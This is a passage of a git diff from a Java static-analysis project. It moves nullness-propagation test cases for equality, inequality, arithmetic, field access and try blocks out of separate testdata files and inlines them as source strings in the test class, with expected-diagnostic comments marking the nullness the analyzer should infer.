Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + + if (str2 == str1) { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } + + public void equalOneNullableOtherNonNull(String nullableParam) { + String str1 = nullableParam; + if (str1 == "foo") { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + + if ("foo" == str1) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + + String str2 = "foo"; + if (str1 == str2) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + + if (str2 == str1) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } + + // TODO(eaftan): tests for bottom? +}""") + .doTest(); + } + + @Test + public void transferFunctions5() { + compilationHelper + .addSourceLines( + "NullnessPropagationTransferCases5.java", + """ +package com.google.errorprone.dataflow.nullnesspropagation.testdata; + +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; + +/** Tests for !=. */ +public class NullnessPropagationTransferCases5 { + + public void notEqualBothNull() { + String str1 = null; + if (str1 != null) { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + + if (null != str1) { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + + String str2 = null; + if (str1 != str2) { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } + + public void notEqualBothNonNull() { + String str1 = "foo"; + if (str1 != "bar") { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + + if ("bar" != str1) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + + String str2 = "bar"; + if (str1 != str2) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } + + public void notEqualOneNullOtherNonNull() { + String str1 = "foo"; + if (str1 != null) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + + if (null != str1) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + + String str2 = null; + if (str1 != str2) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + + if (str2 != str1) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Bottom) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); } - @Test - public void transferFunctions2() { - compilationHelper.addSourceFile("testdata/NullnessPropagationTransferCases2.java").doTest(); - } + public void notEqualOneNullableOtherNull(String nullableParam) { + String str1 = nullableParam; + if (str1 != null) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); - @Test - public void transferFunctions3() { - compilationHelper.addSourceFile("testdata/NullnessPropagationTransferCases3.java").doTest(); + if (null != str1) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + + String str2 = null; + if (str1 != str2) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + + if (str2 != str1) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); } - @Test - public void transferFunctions4() { - compilationHelper.addSourceFile("testdata/NullnessPropagationTransferCases4.java").doTest(); + public void notEqualOneNullableOtherNonNull(String nullableParam) { + String str1 = nullableParam; + if (str1 != "foo") { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + + if ("foo" != str1) { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + + String str2 = "foo"; + if (str1 != str2) { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + + if (str2 != str1) { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); } - @Test - public void transferFunctions5() { - compilationHelper.addSourceFile("testdata/NullnessPropagationTransferCases5.java").doTest(); + // TODO(eaftan): tests for bottom? +}""") + .doTest(); } @Test public void transferFunctions6() { - compilationHelper.addSourceFile("testdata/NullnessPropagationTransferCases6.java").doTest(); + compilationHelper + .addSourceLines( + "NullnessPropagationTransferCases6.java", + """ +package com.google.errorprone.dataflow.nullnesspropagation.testdata; + +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnPrimitive; +import static com.google.errorprone.dataflow.nullnesspropagation.testdata.NullnessPropagationTransferCases6.MyEnum.ENUM_INSTANCE; + +/** + * Tests for: + * + *

    + *
  • bitwise operations + *
  • numerical operations and comparisons + *
  • plain {@code visitNode} + *
  • name shadowing + *
+ */ +public class NullnessPropagationTransferCases6 { + enum MyEnum { + ENUM_INSTANCE; + } + + public void bitwiseOperations() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 | 2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 & 2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 ^ 2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(~1); + } + + public void bitwiseOperationsAreDereferences(Integer i) { + /* + * This next part has nothing to do with bitwise operations per se. The reason that it works is + * that we recognize the implicit intValue() call as a dereference. + */ + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(i); + int unused = ~i; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(i); + } + + public void numercialOperations() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 + 2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 - 2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 * 2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 / 2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 % 2); + + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1.0 / 2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1.0 % 2); + + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 << 2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 >> 2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 >>> 2); + + int i = 1; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(+i); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(-i); + } + + public void numericalOperationsAreDereferences(Integer i) { + // See bitwiseOperationsAreDereferences for some background. + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(i); + int unused = i + i; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(i); + } + + public void numercialComparisons() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 < 2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 > 2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 <= 2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 >= 2); + } + + public void numericalComparisonsAreDereferences(Integer a, Integer b) { + // See bitwiseOperationsAreDereferences for some background. + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(a); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(b); + int unused = a + b; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(a); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(b); + } + + public void vanillaVisitNode() { + String[] a = new String[1]; + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(a[0]); + } + + public void sameNameImmediatelyShadowed() { + final String s = "foo"; + + class Bar { + void method(String s) { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(s); + } + } + } + + public void sameNameLaterShadowed() { + final String s = "foo"; + + class Bar { + void method() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(s); + + String s = HasStaticFields.staticStringField; + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(s); + } + } + } + + public void sameNameShadowedThenUnshadowed() { + final String s = HasStaticFields.staticStringField; + + class Bar { + void method() { + { + String s = "foo"; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(s); + } + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(s); + } + } + } + + public void nonCompileTimeConstantCapturedVariable() { + final Object nonnull = ENUM_INSTANCE; + + class Bar { + void method() { + /* + * We'd prefer for this to be non-null, but we don't run the analysis over the enclosing + * class's enclosing method, so our captured-variable handling is limited to compile-time + * constants, which include only primitives and strings: + * http://docs.oracle.com/javase/specs/jls/se7/html/jls-15.html#jls-15.28 + */ + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(nonnull); + } + } + } + + static class HasStaticFields { + static String staticStringField; + } +}""") + .doTest(); } @Test public void transferFunctions7() { - compilationHelper.addSourceFile("testdata/NullnessPropagationTransferCases7.java").doTest(); + compilationHelper + .addSourceLines( + "NullnessPropagationTransferCases7.java", + """ +package com.google.errorprone.dataflow.nullnesspropagation.testdata; + +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnBoxed; +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnPrimitive; +import static com.google.errorprone.dataflow.nullnesspropagation.testdata.NullnessPropagationTransferCases7.HasStaticFields.staticIntField; +import static com.google.errorprone.dataflow.nullnesspropagation.testdata.NullnessPropagationTransferCases7.HasStaticFields.staticStringField; + +/** Tests for field accesses and assignments. */ +public class NullnessPropagationTransferCases7 { + private static class MyClass { + int field; + } + + private static class MyContainerClass { + MyClass field; + } + + enum MyEnum { + ENUM_INSTANCE; + } + + static class HasStaticFields { + static String staticStringField; + static int staticIntField; + } + + private int i; + private String str; + private Object obj; + + private Integer boxedIntReturningMethod() { + return null; + } + + public void field() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(i); + + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnBoxed(i); + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str); + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(obj); + } + + public void fieldQualifiedByThis() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(this.i); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnBoxed(this.i); + } + + public void fieldQualifiedByOtherVar() { + NullnessPropagationTransferCases7 self = this; + + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(self.i); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnBoxed(self.i); + } + + public void fieldAccessIsDereference(MyClass nullableParam) { + MyClass mc = nullableParam; + int i = mc.field; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(mc); + } + + public void staticFieldAccessIsNotDereferenceNullableReturn(HasStaticFields nullableParam) { + String s = nullableParam.staticStringField; + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(nullableParam); + } + + public void staticFieldAccessIsNotDereferenceNonNullReturn(MyEnum nullableParam) { + MyEnum x = nullableParam.ENUM_INSTANCE; + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(nullableParam); + } + + public void fieldAssignmentIsDereference(MyClass nullableParam) { + MyClass mc = nullableParam; + mc.field = 0; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(mc); + } + + public void chainedFieldAssignmentIsDereference(MyClass nullableParam) { + MyClass mc = nullableParam; + MyContainerClass container = new MyContainerClass(); + container.field.field = 0; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(container); + } + + public void staticFieldAssignmentIsNotDereferenceNullableReturn(HasStaticFields nullableParam) { + nullableParam.staticStringField = "foo"; + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(nullableParam); + } + + public void staticFieldAssignmentIsNotDereferenceNonNullReturn(HasStaticFields nullableParam) { + nullableParam.staticIntField = 0; + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(nullableParam); + } + + public void staticFieldAccessIsNotDereferenceButPreservesExistingInformation() { + HasStaticFields container = new HasStaticFields(); + String s = container.staticStringField; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(container); + } + + public void trackFieldValues() { + MyContainerClass container = new MyContainerClass(); + container.field = new MyClass(); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(container.field); + + container.field.field = 10; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(container.field); + } + + public void assignmentToFieldExpressionValue() { + MyContainerClass container = new MyContainerClass(); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(container.field = new MyClass()); + } + + public void assignmentToPrimitiveFieldExpressionValue() { + MyClass mc = new MyClass(); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(mc.field = 10); + } + + public void assignmentToStaticImportedFieldExpressionValue() { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(staticStringField = null); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(staticStringField = "foo"); + } + + public void assignmentToStaticImportedPrimitiveFieldExpressionValue() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(staticIntField = boxedIntReturningMethod()); + } + + public void nullableAssignmentToPrimitiveFieldExpressionValue() { + MyClass mc = new MyClass(); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(mc.field = boxedIntReturningMethod()); + } +}""") + .doTest(); } @Test public void transferFunctions8() { - compilationHelper.addSourceFile("testdata/NullnessPropagationTransferCases8.java").doTest(); + compilationHelper + .addSourceLines( + "NullnessPropagationTransferCases8.java", + """ +package com.google.errorprone.dataflow.nullnesspropagation.testdata; + +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; + +import java.io.ByteArrayOutputStream; +import java.io.OutputStream; + +/** Tests for {@code try} blocks. */ +public class NullnessPropagationTransferCases8 { + public void caughtException() { + try { + System.out.println(); + } catch (Throwable t) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(t); + + t = something(); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(t); + } + } + + void tryWithResources() throws Exception { + try (OutputStream out = something()) { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(out); + } + + try (OutputStream out = new ByteArrayOutputStream()) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(out); + } + } + + T something() { + return null; + } +}""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases1.java b/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases1.java deleted file mode 100644 index c9b72e282e0..00000000000 --- a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases1.java +++ /dev/null @@ -1,180 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.dataflow.nullnesspropagation.testdata; - -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnPrimitive; - -/** - * Dataflow analysis cases for testing transfer functions in nullness propagation, primarily around - * conditionals. - */ -public class NullnessPropagationTransferCases1 { - - public void conditionalNot(String foo) { - if (!(foo == null)) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(foo); - return; - } - - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(foo); - } - - public void conditionalOr1(String foo, String bar) { - if (foo == null || bar == null) { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(foo); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(bar); - return; - } - - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(foo); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(bar); - } - - public void conditionalOr2(String foo, String bar) { - if (foo != null || bar != null) { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(foo); - } - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(foo); - } - - public void conditionalOr3(String foo) { - if (foo != null || foo != null) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(foo); - } - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(foo); - } - - public void conditionalOr4(String foo) { - // BUG: Diagnostic contains: (Non-null) - if (foo == null || triggerNullnessChecker(foo) == null) { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(foo); - } - - // BUG: Diagnostic contains: (Null) - if (foo != null || triggerNullnessChecker(foo) != null) { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(foo); - } - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(foo); - } - - public void conditionalAnd1(String foo, String bar) { - if (foo != null && bar != null) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(foo); - } - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(foo); - } - - public void conditionalAnd2(String foo) { - if (foo == null && foo != null) { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(foo); - return; - } - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(foo); - } - - public void conditionalAnd3(String foo) { - // BUG: Diagnostic contains: (Null) - if (foo == null && triggerNullnessChecker(foo) == null) { - // Something - } - - // BUG: Diagnostic contains: (Non-null) - if (foo != null && triggerNullnessChecker(foo) != null) { - // Something - } - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(foo); - } - - public void ternary1(String nullable) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(nullable == null ? "" : nullable); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(nullable != null ? null : nullable); - } - - public void ternary2(boolean test, String nullable) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(test ? "yes" : "no"); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(test ? nullable : ""); - } - - public void valueOfComparisonItself() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 == 1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 != 1); - boolean b; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(b = (1 == 1)); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(b = (1 != 1)); - - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(!b); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(b || b); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(b && b); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(b = !b); - } - - public void leastUpperBoundOfNonNullAndUnknown(String param, boolean b) { - if (b) { - param = "foo"; - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(param); - } - - public void stringConcatenation(String a, String b) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(a + b); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(null + b); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(a + 5); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(null + (String) null); - } -} diff --git a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases2.java b/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases2.java deleted file mode 100644 index 6e072fdf51f..00000000000 --- a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases2.java +++ /dev/null @@ -1,345 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.dataflow.nullnesspropagation.testdata; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.base.Verify.verifyNotNull; -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnPrimitive; -import static com.google.errorprone.dataflow.nullnesspropagation.testdata.NullnessPropagationTransferCases2.MyEnum.ENUM_INSTANCE; -import static java.lang.String.format; -import static java.lang.String.valueOf; - -import com.google.common.base.Optional; -import com.google.common.base.Strings; -import java.math.BigInteger; -import java.util.Objects; - -/** - * Dataflow analysis cases for testing transfer functions in nullness propagation around constants - * and built-in knowledge. - */ -@SuppressWarnings("deprecation") // test cases include deprecated JUnit methods -public class NullnessPropagationTransferCases2 { - private static class MyClass { - static String staticReturnNullable() { - return null; - } - } - - static final int CONSTANT_INT = 1; - static final Integer CONSTANT_BOXED_INTEGER = 1; - static final Integer CONSTANT_DERIVED_INTEGER = (Integer) (CONSTANT_INT); - static final Boolean CONSTANT_DERIVED_BOOLEAN = CONSTANT_INT == 1; - static final String CONSTANT_STRING = "foo"; - static final String CONSTANT_NULL_STRING = null; - static final String CONSTANT_DERIVED_STRING = CONSTANT_DERIVED_BOOLEAN ? CONSTANT_STRING : ""; - static final MyClass CONSTANT_OTHER_CLASS = new MyClass(); - static final Integer[] CONSTANT_OBJECT_ARRAY = new Integer[7]; - static final Integer[] CONSTANT_ARRAY_INITIALIZER = {Integer.valueOf(5)}; - static final Object CONSTANT_NO_INITIALIZER; - - static { - CONSTANT_NO_INITIALIZER = new Object(); - } - - public void constants() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(CONSTANT_INT); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(CONSTANT_BOXED_INTEGER); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(CONSTANT_DERIVED_INTEGER); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(CONSTANT_DERIVED_BOOLEAN); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(CONSTANT_STRING); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(CONSTANT_NULL_STRING); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(CONSTANT_DERIVED_STRING); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(CONSTANT_OTHER_CLASS); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(CONSTANT_OBJECT_ARRAY); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(CONSTANT_OBJECT_ARRAY[0]); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(CONSTANT_ARRAY_INITIALIZER); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(CONSTANT_NO_INITIALIZER); - } - - public static final MyBigInteger 